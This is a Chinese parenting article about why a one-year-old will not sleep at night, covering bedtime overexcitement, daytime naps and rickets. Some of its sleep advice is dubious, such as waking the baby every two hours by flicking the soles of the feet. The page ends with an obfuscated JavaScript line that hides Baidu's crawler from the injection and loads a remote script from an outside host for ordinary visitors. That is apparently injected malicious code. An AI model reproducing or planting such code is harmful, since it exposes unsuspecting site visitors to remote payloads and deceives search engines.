當前位置:首頁 > 母嬰 > 育兒知識 > 正文

1歲寶寶晚上不睡覺是為什么

2017-03-31 20:54:38  來源:360常識網   熱度:
導語:1歲寶寶晚上不睡覺是為什么呢?寶寶到了晚上不喜歡睡覺是要注意的,媽媽要保證自己的寶寶有充足的睡眠時間,到了晚上還是要盡快入睡的,否

1歲寶寶晚上不睡覺是為什么呢?寶寶到了晚上不喜歡睡覺是要注意的,媽媽要保證自己的寶寶有充足的睡眠時間,到了晚上還是要盡快入睡的,否則是會對寶寶的身體不利的,所以要讓自己的孩子建立規(guī)律的生物鐘,注意要讓自己的孩子多睡覺。

1歲寶寶晚上不睡覺是為什么呢?

睡眠前玩得太興奮,按時睡覺:在寶寶入睡前0.5~1小時,應讓寶寶安靜下來,睡前不要玩得太興奮,更不要過分逗弄寶寶。免得寶寶因過于興奮、緊張而難以入睡。不看刺激性的電視節(jié)目,不講緊張可怕的故事,也不玩新玩具。要給寶寶創(chuàng)造一個良好的睡眠環(huán)境。室溫適宜、安靜,光線較暗。蓋的東西要輕、軟、干燥。睡前應先讓寶寶排尿。

減少寶寶白天睡覺的時間??膳c之玩耍,或將寶寶放置到光線充足的地方,使之不易入睡;每睡兩個小時將寶寶弄醒1次,醒來后不要急著喂奶,先跟他玩半小時。白天寶寶醒來后,可能會又哭又鬧,或者轉眼又睡著了,因此,寶寶醒來后一定不能讓他的視聽器官閑著,可以給他聽一段節(jié)奏輕快的音樂,在他耳邊搖響撥浪鼓,給他看五顏六色的玩具、氣球或圖片。而弄醒寶寶最好的辦法是拍或彈腳底板。但不要拍、抱或搖晃寶寶,否則他會很快又睡著了,而且容易養(yǎng)成一哭就要抱的壞習慣。到了晚上就盡量把光線調暗,環(huán)境安靜,使其舒適而能安睡。

佝僂?。河捎谌狈S生素D致使鈣、磷代謝失調,血鈣降低,醫(yī)學上稱為低血鈣癥。由于血鈣低使神經系統(tǒng)處于興奮狀態(tài),孩子輕則表現(xiàn)為煩躁、哭鬧、磨人、發(fā)驚,重則可發(fā)生抽風。一旦發(fā)現(xiàn)孩子有這些癥狀,就應當帶孩子到醫(yī)院檢查一下是否得了這種病,如果診斷明確就要及時進行治療,肌肉注射維生素D3,同時服用鈣劑。平時要讓孩子多曬太陽,因為紫外線可以使皮膚自動產生維生素D

1歲寶寶晚上不睡覺,晚上不睡覺是不行的,特別是對于小孩子來說,所以媽媽要想辦法哄自己的寶寶入睡,讓自己的寶寶有足夠的睡眠時間,這樣才能夠保證自己的寶寶的健康成長,讓寶寶的身體不受到影響。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}